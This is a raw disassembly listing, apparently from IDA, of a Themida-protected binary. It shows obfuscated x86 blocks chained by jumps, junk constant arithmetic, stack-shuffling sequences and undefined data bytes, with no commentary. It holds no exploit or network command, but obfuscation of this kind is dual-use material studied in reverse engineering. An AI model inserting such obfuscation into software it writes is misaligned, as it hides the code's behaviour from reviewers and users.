loc_567EE9:				; CODE XREF: Themida_:00567A62j
		sub	cl, 0FFh
		jmp	loc_5631E8
; ---------------------------------------------------------------------------
		db 0B7h, 0DCh, 0C0h
		dd 0DAE905EFh
		db 0E9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_567EFB:				; CODE XREF: Themida_:005641AFj
		push	edi
		mov	edi, 7C1D36CAh
		and	edi, 4A590932h
		jmp	loc_563E80
; ---------------------------------------------------------------------------
a8USfn		db '╨8$Н&И■N',0
		align 2

loc_567F16:				; CODE XREF: Themida_:0056A189j
		dec	eax
		not	eax
		shr	eax, 5
		shl	eax, 7
		jmp	loc_5668B1
; ---------------------------------------------------------------------------

loc_567F24:				; CODE XREF: Themida_:0055FF67j
		mov	bh, 29h
		not	bh
		shl	bh, 6
		jmp	loc_55C751
; ---------------------------------------------------------------------------

loc_567F30:				; CODE XREF: Themida_:0055CE11j
		pop	edx
		add	al, bl
		add	al, 81h
		jmp	loc_56BBEE
; ---------------------------------------------------------------------------

loc_567F3A:				; CODE XREF: Themida_:00560EBDj
		movzx	cx, ah
		sub	esp, 4
		mov	[esp], esi
		push	esp
		jmp	loc_56A872
; ---------------------------------------------------------------------------

loc_567F4A:				; CODE XREF: Themida_:0056962Bj
		mov	eax, 79652595h
		and	ebp, eax
		pop	eax
		push	edi
		push	ecx
		mov	ecx, 0CF314DEh
		mov	edi, ecx
		pop	ecx
		push	79C9h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, edi
		xchg	edx, edi
		pop	edx
		jmp	loc_564ED9
; ---------------------------------------------------------------------------

loc_567F73:				; CODE XREF: Themida_:005660FBj
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_56466D
; ---------------------------------------------------------------------------

loc_567F7C:				; CODE XREF: Themida_:0055F62Bj
					; Themida_:005668DDj
		mov	esi, edx
		pop	edx
		jmp	loc_569BE7
; ---------------------------------------------------------------------------
dword_567F84	dd 0DE6DE951h		; DATA XREF: Themida_:0055613Co
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567F8A:				; CODE XREF: Themida_:005673EBj
		push	dword ptr [edi+24h]
		push	3B8Fh
		jmp	loc_56AEEA
; ---------------------------------------------------------------------------

loc_567F97:				; CODE XREF: Themida_:0056BBF0j
		push	10Ah
		mov	[esp], edx
		push	edi
		jmp	loc_558507
; ---------------------------------------------------------------------------

loc_567FA5:				; CODE XREF: Themida_:0056979Fj
		push	ebp
		jmp	loc_55F942
; ---------------------------------------------------------------------------

loc_567FAB:				; CODE XREF: Themida_:0055B47Dj
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_56447B
; ---------------------------------------------------------------------------

loc_567FB8:				; CODE XREF: Themida_:loc_56A6FCj
		not	ebx
		inc	ebx
		jmp	loc_564863
; ---------------------------------------------------------------------------
		dd 12BB535Ch, 815CC054h, 97FDDAEBh, 5BD82954h, 1EE9D001h
		dd 0BBFFFEFAh, 6D88150Dh, 6372C381h, 0DF899FD3h, 4EC835Bh
		dd 0FEE741E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567FED:				; CODE XREF: Themida_:0056A537j
		add	eax, ebx
		sub	eax, 68AB3FFFh
		sub	eax, 680C2B70h
		push	dword ptr [esp]
		jmp	loc_55D2B2
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 8F24248Bh, 248B2404h, 0E657E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_568012:				; CODE XREF: Themida_:005654AEj
		jmp	loc_557160
; ---------------------------------------------------------------------------

loc_568017:				; CODE XREF: Themida_:00557D6Aj
		js	loc_55B1E1
		or	ecx, 30253A68h
		jnp	loc_5584EA
		push	esi
		mov	esi, 3F804963h
		add	ecx, esi
		pop	esi
		mov	edx, ecx
		push	dword ptr [esp]

loc_568037:				; CODE XREF: Themida_:00558483j
		mov	dl, 87h
		mov	bl, dl
		pop	edx
		shr	bl, 5
		inc	bl
		sub	bl, 0C8h
		dec	bl
		jmp	loc_56984F
; ---------------------------------------------------------------------------
		db 52h
		dd 8904EC83h, 5E542434h, 4C681h, 0B9510000h, 4,	5659CE29h
		dd 42474FFh, 24048F5Eh,	241C895Ch, 0C780FEB7h, 0EFE9516Ah
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56807B:				; CODE XREF: Themida_:00566988j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55D471
; ---------------------------------------------------------------------------

loc_56808E:				; CODE XREF: Themida_:0056983Aj
		add	esp, 4
		add	ebp, 4
		push	1636h
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 397033E0h
		add	ebp, 7A4679F3h
		sub	ebp, ebx
		sub	ebp, 7A4679F3h
		push	ecx
		mov	ecx, 6D04287Bh
		add	ecx, 0CC6C0B65h
		add	ebp, ecx
		pop	ecx
		mov	ebx, [esp]
		jmp	loc_565ED2
; ---------------------------------------------------------------------------

loc_5680CF:				; CODE XREF: Themida_:0055A45Cj
		pop	esp
		mov	[esp], ebx
		push	2BD1h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		sub	dword ptr [esp+4], 9513DC5h
		add	[esp+4], eax
		add	dword ptr [esp+4], 9513DC5h
		jmp	loc_560072
; ---------------------------------------------------------------------------

loc_5680FA:				; CODE XREF: Themida_:0056D63Dj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		pop	ax
		shr	cl, 5
		jmp	loc_55A9F2
; ---------------------------------------------------------------------------

loc_568113:				; CODE XREF: Themida_:0055B3A5j
		mov	[esp], ebx
		jmp	loc_5598E4
; ---------------------------------------------------------------------------
		db 1
		dd 0FAF6E9C8h, 0C381FFFEh, 47A52AEEh, 0FF9BE2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56812D:				; CODE XREF: Themida_:0055EC8Cj
		mov	dh, 18h
		xor	dh, 0ABh
		jmp	loc_556E92
; ---------------------------------------------------------------------------

loc_568137:				; CODE XREF: Themida_:00557961j
		dec	bl
		jl	loc_55AF9C
		jmp	loc_55F15C
; ---------------------------------------------------------------------------

loc_568144:				; CODE XREF: Themida_:loc_55CB78j
		or	ecx, 4A700EEAh
		sub	ecx, 56C72DE5h
		jp	loc_55908C
		shr	ecx, 7
		jmp	loc_55F32C
; ---------------------------------------------------------------------------
		dw 0F988h
		dd 4C48157h, 81000000h,	4C3h, 241C3300h, 0FF7046E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568175:				; CODE XREF: Themida_:00565BFEj
		or	ebp, 8961334h
		jmp	loc_561477
; ---------------------------------------------------------------------------

loc_568180:				; CODE XREF: Themida_:0055B08Ej
		jmp	loc_56325A
; ---------------------------------------------------------------------------

loc_568185:				; CODE XREF: Themida_:0055A356j
					; Themida_:0056007Aj
		push	210C570Bh
		pop	ecx
		not	ecx
		sub	ecx, 0DEF3A8F0h
		jmp	loc_56C23F
; ---------------------------------------------------------------------------
aOp4sQsL	db '╥╝P╟щ4▒,qИвL',0
		align 2

loc_5681A6:				; CODE XREF: Themida_:00564A17j
		xor	eax, 0A62B7095h
		inc	eax
		jl	loc_55F185
		shr	eax, 1
		or	eax, 32111777h
		jmp	loc_55C36D
; ---------------------------------------------------------------------------

loc_5681BE:				; CODE XREF: Themida_:0055D9E6j
		push	ebp
		mov	ebp, 4
		sub	esi, 28205B14h
		add	esi, 2F2B0CA8h
		add	esi, ebp
		sub	esi, 2F2B0CA8h
		add	esi, 28205B14h
		pop	ebp
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_563406
; ---------------------------------------------------------------------------
byte_56820B	db 0ADh			; DATA XREF: Themida_:0055600Co
		dd 0EC81D831h, 4, 50242C89h, 0D04E0B68h, 2434FF32h, 4C48358h
		dd 0FF7F26E9h, 66E381FFh, 0F66166Eh, 0FF989B82h, 87E4E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56823A:				; CODE XREF: Themida_:0056CA0Dj
		jmp	loc_56A20C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0FFBB0DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56824D:				; CODE XREF: Themida_:0056572Bj
		add	dl, bl
		pop	bx
		sub	al, dl
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		push	5784h
		jmp	loc_56734E
; ---------------------------------------------------------------------------

loc_568267:				; CODE XREF: Themida_:00561862j
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5670A5
; ---------------------------------------------------------------------------
		dd 2920BB53h, 22B906BCh, 3106BC29h, 2434FFD9h, 0FF9446E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568285:				; CODE XREF: Themida_:005669DEj
		push	ecx
		mov	ecx, 1B5C0CB7h
		sub	edi, ecx
		pop	ecx
		jmp	loc_557071
; ---------------------------------------------------------------------------

loc_568293:				; CODE XREF: Themida_:00563267j
		add	esp, 2
		add	al, 64h
		jmp	loc_569138
; ---------------------------------------------------------------------------

loc_5682A0:				; CODE XREF: Themida_:00564D34j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	2FDEh
		mov	[esp], edx
		mov	edx, 12F011D5h
		push	ebp
		mov	ebp, 7A861383h
		shl	ebp, 4
		push	edx
		mov	edx, 8D46EE0h
		xor	edx, offset byte_4830A9
		jmp	loc_55F858
; ---------------------------------------------------------------------------

loc_5682E4:				; CODE XREF: Themida_:00563F49j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	6A76h
		jmp	loc_56904D
; ---------------------------------------------------------------------------

loc_5682F5:				; CODE XREF: Themida_:0055CD28j
		or	edx, 1D7F372Eh
		jge	loc_55E9C1
		xor	edx, 6BFE1356h
		mov	eax, edx
		pop	edx
		mov	edx, eax
		sub	bl, 0B7h
		pop	ebx

loc_568310:				; CODE XREF: Themida_:00567C66j
		push	0
		jmp	loc_55A2D0
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 5886BD24h, 814520B5h, 1323CDh, 0C2CAE938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56832E:				; CODE XREF: Themida_:00560CC3j
		mov	edx, 2
		add	ebp, edx
		pop	edx
		jmp	loc_5619AA
; ---------------------------------------------------------------------------

loc_56833B:				; CODE XREF: Themida_:00564BB0j
		add	ebp, eax
		pop	eax
		jmp	loc_55F367
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FF3C4281h, 5AEB81FFh, 0F096B7Ch, 0FFD91C8Fh, 0EE815CFFh
		dd 6BF77AFAh, 895EF189h, 240C8BCAh, 0FF38BEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568369:				; CODE XREF: Themida_:0055CAF8j
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4D6C26D4h
		sub	edi, 4D6C26D0h
		jmp	loc_5626CB
; ---------------------------------------------------------------------------

loc_568383:				; CODE XREF: Themida_:0056776Fj
		add	ebx, ebp
		jmp	loc_56C6B9
; ---------------------------------------------------------------------------

loc_56838A:				; CODE XREF: Themida_:0055E71Ej
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		add	dword ptr [esp], 741A6C06h
		sub	dword ptr [esp], 7FB10DDEh
		add	[esp], eax
		push	ecx
		mov	ecx, 7FB10DDEh
		add	[esp+4], ecx
		pop	ecx
		push	1657h
		mov	[esp], esi
		jmp	loc_56A596
; ---------------------------------------------------------------------------
		dw 0F75Eh
		dd 80972DD8h, 0CEE9ED7Ch
		db 0E3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5683CB:				; CODE XREF: Themida_:00563A7Dj
		push	72557051h
		pop	ecx
		push	edi
		mov	edi, 5C6826F6h
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_556722
; ---------------------------------------------------------------------------
		dd 81E68956h, 4ECh, 24048900h, 4EC81h, 0C3E90000h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5683FB:				; CODE XREF: Themida_:005672B3j
		jp	loc_55BDA0
		push	bx
		mov	bl, 41h
		and	al, bl
		pop	bx
		xor	al, cl
		xor	cl, al
		push	esi
		push	dword ptr [esp]
		pop	eax
		push	7ED2h
		jmp	loc_568AFF
; ---------------------------------------------------------------------------

loc_56841C:				; CODE XREF: Themida_:00558AD7j
		mov	[esp], esi
		xor	dword ptr [esp], 13057823h
		pop	edi
		push	6AD2h
		jmp	loc_55F315
; ---------------------------------------------------------------------------

loc_568431:				; CODE XREF: Themida_:00564332j
		pop	esi
		jmp	loc_562FF3
; ---------------------------------------------------------------------------

loc_568437:				; CODE XREF: Themida_:005688A1j
		sub	edi, 470912C8h
		mov	ebp, edi
		jmp	loc_56BC27
; ---------------------------------------------------------------------------

loc_568444:				; CODE XREF: Themida_:0055E49Cj
					; Themida_:005630D3j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		push	4
		pop	edx
		sub	ebx, 7D7B772Dh
		add	ebx, edx
		jmp	loc_55812C
; ---------------------------------------------------------------------------
		dw 0FD30h
		dd 25ED805Bh, 0E8280E2Ch, 4590E04h, 2CD82852h, 0F379E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568476:				; CODE XREF: Themida_:0056110Aj
		add	esp, 4
		shr	dh, 6
		shl	dh, 2
		not	dh
		or	dh, 7Dh
		sub	dh, 0EDh
		and	ch, dh
		pop	edx
		push	dx
		push	cx
		mov	cl, 6Dh
		shl	cl, 2
		not	cl
		sub	cl, 65h
		mov	dl, cl
		pop	cx
		push	eax
		mov	al, 0A0h
		neg	al
		jmp	loc_5653B6
; ---------------------------------------------------------------------------
		db 1, 0E8h, 0E9h
		dd 0FFFF40EBh, 0F07E9C1h, 0FF92FA85h, 31D931FFh, 88D931CBh
		db 0EAh, 88h, 0FFh
; ---------------------------------------------------------------------------

loc_5684C3:				; CODE XREF: Themida_:0055C14Dj
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_55DA5B
; ---------------------------------------------------------------------------
word_5684CE	dw 30ACh		; DATA XREF: Themida_:0055621Co
		dd 4EC81D8h, 0E9000000h, 0FFFFA021h
; ---------------------------------------------------------------------------

loc_5684DC:				; CODE XREF: Themida_:005670DCj
					; Themida_:0056B9EEj
		push	edi
		push	2C961062h
		jmp	loc_56A590
; ---------------------------------------------------------------------------

loc_5684E7:				; CODE XREF: Themida_:0056CAB2j
		jge	loc_55BBBB
		sub	bl, 91h
		inc	bl
		xor	bl, 54h
		jg	loc_565FB0
		xor	bl, 9
		push	edx
		mov	dl, bl
		push	eax
		jmp	loc_561C54
; ---------------------------------------------------------------------------
		db 0BDh
		dd 754B688Fh, 31E58145h, 0E93E2835h, 161h
; ---------------------------------------------------------------------------

loc_568518:				; CODE XREF: Themida_:0055A562j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56851D:				; CODE XREF: Themida_:00560C3Cj
		xor	ebp, 49434DB3h
		jmp	loc_55B63F
; ---------------------------------------------------------------------------
aHe		db ']hE"',0
		align 2
		dw 0E6E9h
		dd 83FFFF6Fh, 69E904EEh
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56853B:				; CODE XREF: Themida_:0055646Ej
		push	ebx
		mov	bh, 86h
		inc	bh
		jmp	loc_5610F3
; ---------------------------------------------------------------------------

loc_568545:				; CODE XREF: Themida_:0056A68Aj
		xor	esi, ebx
		jmp	loc_55F928
; ---------------------------------------------------------------------------

loc_56854C:				; CODE XREF: Themida_:0055E7C1j
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, ecx
		pop	ecx
		jmp	loc_5668C3
; ---------------------------------------------------------------------------
		dd 2404335Fh, 33240431h, 1CE92404h
		db 0EAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56856B:				; CODE XREF: Themida_:0055ECF1j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_56606C
; ---------------------------------------------------------------------------

loc_568581:				; CODE XREF: Themida_:0056BA3Cj
		add	edx, 19DB7F32h
		mov	edi, edx
		pop	edx
		add	esi, 37D55F4h
		add	esi, edi
		sub	esi, 37D55F4h
		pop	edi
		jmp	loc_56D38C
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 18880F07h, 81FFFF57h, 425C6DF3h, 7F8D0F2Fh, 89FFFF24h
		db 0CBh
; ---------------------------------------------------------------------------

loc_5685B5:				; CODE XREF: Themida_:0055EDF9j
		add	ecx, 995847C0h
		sub	ebp, ecx
		pop	ecx
		pop	ebx
		push	edi
		mov	edi, 193E632Ah
		xchg	esi, edi
		inc	esi
		jmp	loc_564095
; ---------------------------------------------------------------------------

loc_5685CD:				; CODE XREF: Themida_:00565DE9j
		add	esp, 4
		shr	ecx, 0Ah
		jmp	loc_569B63
; ---------------------------------------------------------------------------

loc_5685D8:				; CODE XREF: Themida_:0056CF11j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	64E0h
		mov	[esp], ebx
		push	6016h
		jmp	loc_55883E
; ---------------------------------------------------------------------------

loc_56860A:				; CODE XREF: Themida_:005591CCj
		add	esi, 5FCF7C9Ah
		add	esi, 0DA5686D5h
		add	eax, esi
		jmp	loc_55857A
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 633BD55h, 52450AA0h,	6EAC6853h, 815B520Dh, 4955F4F3h
		dd 44880F27h, 0E9FFFF7Ah, 0A95h
; ---------------------------------------------------------------------------

loc_568640:				; CODE XREF: Themida_:00564552j
		push	esi
		mov	esi, 1A220014h
		mov	eax, 1A220018h
		sub	eax, esi
		pop	esi
		jmp	loc_557049
; ---------------------------------------------------------------------------
		db 33h
		dd 1C31241Ch, 241C3324h, 0FF1460E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568661:				; CODE XREF: Themida_:0055B2B0j
		push	ebx
		push	0D928B085h
		pop	ebx
		sub	[edx+30h], ebx
		pop	ebx
		jmp	loc_5670C9
; ---------------------------------------------------------------------------

loc_568671:				; CODE XREF: Themida_:0056705Aj
		pop	edx
		sub	eax, ebx
		jmp	loc_55C883
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0DFh
		dd 0F7317156h, 0BAC281DAh, 816CD107h, 0E00398E2h, 38A7E93Fh
		dd 2BFFFFFh, 89000000h,	0B9515FF8h, 7175159Fh, 0E904E1C1h
		dd 0FFFF0668h
; ---------------------------------------------------------------------------

loc_5686A8:				; CODE XREF: Themida_:0056A837j
		mov	[esp], eax
		mov	ah, 8Ah
		jmp	loc_565048
; ---------------------------------------------------------------------------

loc_5686B2:				; CODE XREF: Themida_:loc_55B57Bj
		xor	edi, 698462BDh
		jge	loc_55BEC4
		sub	esp, 4
		jmp	loc_55CBAD
; ---------------------------------------------------------------------------

loc_5686C9:				; CODE XREF: Themida_:005566DAj
		pop	ebx
		add	ecx, 3B1B0455h
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_55EAFA
; ---------------------------------------------------------------------------

loc_5686D9:				; CODE XREF: Themida_:0056A3C1j
		mov	[esp], ebp
		push	ecx
		jmp	loc_56B9C6
; ---------------------------------------------------------------------------

loc_5686E2:				; CODE XREF: Themida_:005593AFj
		jno	loc_55974C
		jmp	loc_56B136
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 8904EC83h
		db 1Ch,	24h
word_5686F6	dw 34FFh		; DATA XREF: Themida_:00556144o
		dd 1D73E924h, 0E950FFFFh, 643h
; ---------------------------------------------------------------------------

loc_568704:				; CODE XREF: Themida_:0055EDE8j
		mov	eax, [esp]
		jmp	loc_565398
; ---------------------------------------------------------------------------

loc_56870C:				; CODE XREF: Themida_:005622A5j
		mov	[esp], edi
		mov	edi, 193A3433h
		jmp	loc_55E7C6
; ---------------------------------------------------------------------------

loc_568719:				; CODE XREF: Themida_:00565E15j
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55E5EA
; ---------------------------------------------------------------------------

loc_56872F:				; CODE XREF: Themida_:005673A1j
		jmp	loc_5578BA
; ---------------------------------------------------------------------------

loc_568734:				; CODE XREF: Themida_:005673B8j
		push	dx
		jmp	loc_566A71
; ---------------------------------------------------------------------------

loc_56873B:				; CODE XREF: Themida_:0055CD22j
		jp	loc_55BC65
		not	ebx
		inc	ebx
		push	esi
		jmp	loc_55713B
; ---------------------------------------------------------------------------
		dw 0FB8Ah
		dd 0AB63E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568752:				; CODE XREF: Themida_:0055F362j
		sub	[edx+30h], esi
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		sub	dword ptr [edx+30h], 6DF3610Eh
		jno	loc_567092
		jmp	loc_564D65
; ---------------------------------------------------------------------------
		dw 8859h
		db 0EDh, 0Ch, 0E3h
; ---------------------------------------------------------------------------

loc_568773:				; CODE XREF: Themida_:00562558j
		inc	esi
		shl	esi, 6
		push	6AD9h
		mov	[esp], ebx
		jmp	loc_55C731
; ---------------------------------------------------------------------------

loc_568784:				; CODE XREF: Themida_:00559A54j
		mov	cx, [esp]
		add	esp, 2
		pop	cx
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	3004h
		mov	[esp], ebx
		jmp	loc_56145F
; ---------------------------------------------------------------------------

loc_5687A6:				; CODE XREF: Themida_:0056485Ej
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_564729
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 6731CB81h, 0EB815934h, 3CDE0417h, 7CE0C381h,	0C381439Bh
		dd 912AF904h, 15BDF29h,	84C781DFh, 0E971DD61h, 0FFFF6AC8h
dword_5687F4	dd 0FF2434FFh, 81582434h, 4C4h,	28996800h, 2C890000h, 815D5424h
					; DATA XREF: Themida_:00556044o
		dd 4C5h, 4BA5200h, 0E9000000h, 0FFFFB165h
; ---------------------------------------------------------------------------

loc_56881C:				; CODE XREF: Themida_:0055B9CBj
		mov	cl, 0D0h
		xor	bh, cl
		pop	cx
		push	cx
		mov	cl, 8
		sub	bh, 90h
		add	bh, 0Fh
		sub	bh, cl
		sub	bh, 0Fh
		jmp	loc_5590D4
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 680E2E81h, 0FF3B13E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568841:				; CODE XREF: Themida_:00560CF0j
		mov	[esp], ecx
		jmp	loc_5599A4
; ---------------------------------------------------------------------------

loc_568849:				; CODE XREF: Themida_:0055E805j
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_5608ED
; ---------------------------------------------------------------------------

loc_568871:				; CODE XREF: Themida_:00569A79j
		sub	edi, edx
		jmp	loc_55EB8A
; ---------------------------------------------------------------------------

loc_568878:				; CODE XREF: Themida_:0056142Fj
		xor	ebx, 76E386Ah
		jmp	loc_55FB04
; ---------------------------------------------------------------------------

loc_568883:				; CODE XREF: Themida_:005699E1j
		mov	dl, 33h
		jmp	loc_55EB20
; ---------------------------------------------------------------------------

loc_56888A:				; CODE XREF: Themida_:0055AA67j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_56338D
; ---------------------------------------------------------------------------

loc_56889E:				; CODE XREF: Themida_:0055F249j
		neg	edi
		dec	edi
		jmp	loc_568437
; ---------------------------------------------------------------------------

loc_5688A6:				; CODE XREF: Themida_:00561987j
		push	edi
		mov	edi, 46DD3C65h
		jmp	loc_557BEC
; ---------------------------------------------------------------------------

loc_5688B1:				; CODE XREF: Themida_:00559A8Aj
		add	ebp, ebx
		push	1AA4h
		mov	[esp], ecx
		mov	ecx, 551D10FFh
		jmp	loc_55EDF7
; ---------------------------------------------------------------------------

loc_5688C5:				; CODE XREF: Themida_:loc_55A0C6j
		and	edi, 4A1342B1h
		shr	edi, 3
		jnp	loc_5670DB
		push	ebp
		jmp	loc_56CAB7
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 7C830724h
		db 89h,	0DDh, 5Ch
; ---------------------------------------------------------------------------

loc_5688E3:				; CODE XREF: Themida_:0055F956j
					; Themida_:00563EEAj
		push	edx
		mov	edx, 4
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55FE58
; ---------------------------------------------------------------------------
		dd 0C681D6F7h, 5EF038CBh, 0CF4CEE81h, 0F58903ECh, 87F5815Eh
		dd 0C17FD154h, 0E94505E5h, 0FFFF473Dh, 170C5ABBh, 5BD82948h
		dd 0FEF516E9h, 4C281FFh, 81000000h, 4EAh, 24148700h, 565CE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568936:				; CODE XREF: Themida_:0055A57Bj
		sub	bl, 57h
		push	eax
		push	edx
		mov	dl, 25h
		mov	ah, 41h
		sub	ah, dl
		pop	edx
		and	ah, 94h
		neg	ah
		jmp	loc_5587BC
; ---------------------------------------------------------------------------

loc_56894C:				; CODE XREF: Themida_:005628DAj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_56A627
; ---------------------------------------------------------------------------
		dw 71E9h
		dd 57FFFF5Eh, 46E9E789h, 83FFFEECh, 148704EAh, 0E9545C24h
		dd 0FFFEE5C7h, 0C0614968h, 0BB535A73h, 0FFFFFFFFh, 875BDA01h
		dd 6A20E9DAh, 0C581FFFFh, 61DF3003h, 0FFEF015Bh, 835D2434h
		dd 0C78304C4h, 8A2DE902h
		db 2 dup(0FFh)
word_5689A2	dw 83ADh		; DATA XREF: Themida_:005561C4o
		dd 0F00207Fh, 0FF261D84h, 50C681FFh, 814BF05Eh,	661696EEh
		dd 0A2FCE939h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5689BE:				; CODE XREF: Themida_:005629E3j
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 75F62899h
		jmp	loc_569886
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0C4835C24h, 24048F04h, 0FF82E7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5689E1:				; CODE XREF: Themida_:loc_55A5ECj
		sub	ebx, 7929B87Ah
		jmp	loc_55E1F6
; ---------------------------------------------------------------------------

loc_5689EC:				; CODE XREF: Themida_:00562468j
		add	esi, 0A12AC730h
		jmp	loc_56137A
; ---------------------------------------------------------------------------

loc_5689F7:				; CODE XREF: Themida_:005566B4j
		mov	[esp], edx
		jmp	loc_559519
; ---------------------------------------------------------------------------

loc_5689FF:				; CODE XREF: Themida_:0056A5FBj
		add	dword ptr [esp+4], 4AEF3500h
		pop	ebp
		push	esi
		push	edi
		mov	edi, 44FC234Fh
		jmp	loc_558F75
; ---------------------------------------------------------------------------
		dd 50D1015Eh, 0B8h, 88C80100h, 9E95838h
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568A27:				; CODE XREF: Themida_:0055801Fj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55CCB4
; ---------------------------------------------------------------------------

loc_568A32:				; CODE XREF: Themida_:00561712j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0A4208343h
		jmp	loc_56314D
; ---------------------------------------------------------------------------

loc_568A45:				; CODE XREF: Themida_:0055EAC2j
		xor	esi, 3026764Eh
		sub	esi, 0F78A62EEh
		jmp	loc_55F08A
; ---------------------------------------------------------------------------

loc_568A56:				; CODE XREF: Themida_:00565DB3j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		db 5Ch
		dd 545B062Dh, 6E0C122h,	0F5BB5351h, 895F2C39h, 0E1815BD9h
		dd 53E2AC8h, 2E9C149h, 6E9C141h, 0D571E981h, 0C829CFFEh
		dd 0AE90E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568A9A:				; CODE XREF: Themida_:0055E258j
		mov	ebx, 100h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_564066
; ---------------------------------------------------------------------------

loc_568AAA:				; CODE XREF: Themida_:0055ACF0j
		pop	ebx
		jmp	loc_561446
; ---------------------------------------------------------------------------

loc_568AB0:				; CODE XREF: Themida_:00558227j
		js	loc_5598A3
		shr	ebx, 7
		not	ebx
		shr	ebx, 1
		jns	loc_564E30
		push	esi
		jmp	loc_569297
; ---------------------------------------------------------------------------
		db 0E9h, 0AFh, 0F0h
		dd 0C601FFFEh, 0B3B05D58h, 818FB652h, 2ECh, 0C896600h
		dd 0E9A0B124h, 0FFFF074Bh
; ---------------------------------------------------------------------------

loc_568AE8:				; CODE XREF: Themida_:00563654j
		mov	ecx, ebx
		jmp	loc_569669
; ---------------------------------------------------------------------------

loc_568AEF:				; CODE XREF: Themida_:00568E54j
		mov	esp, [esp]
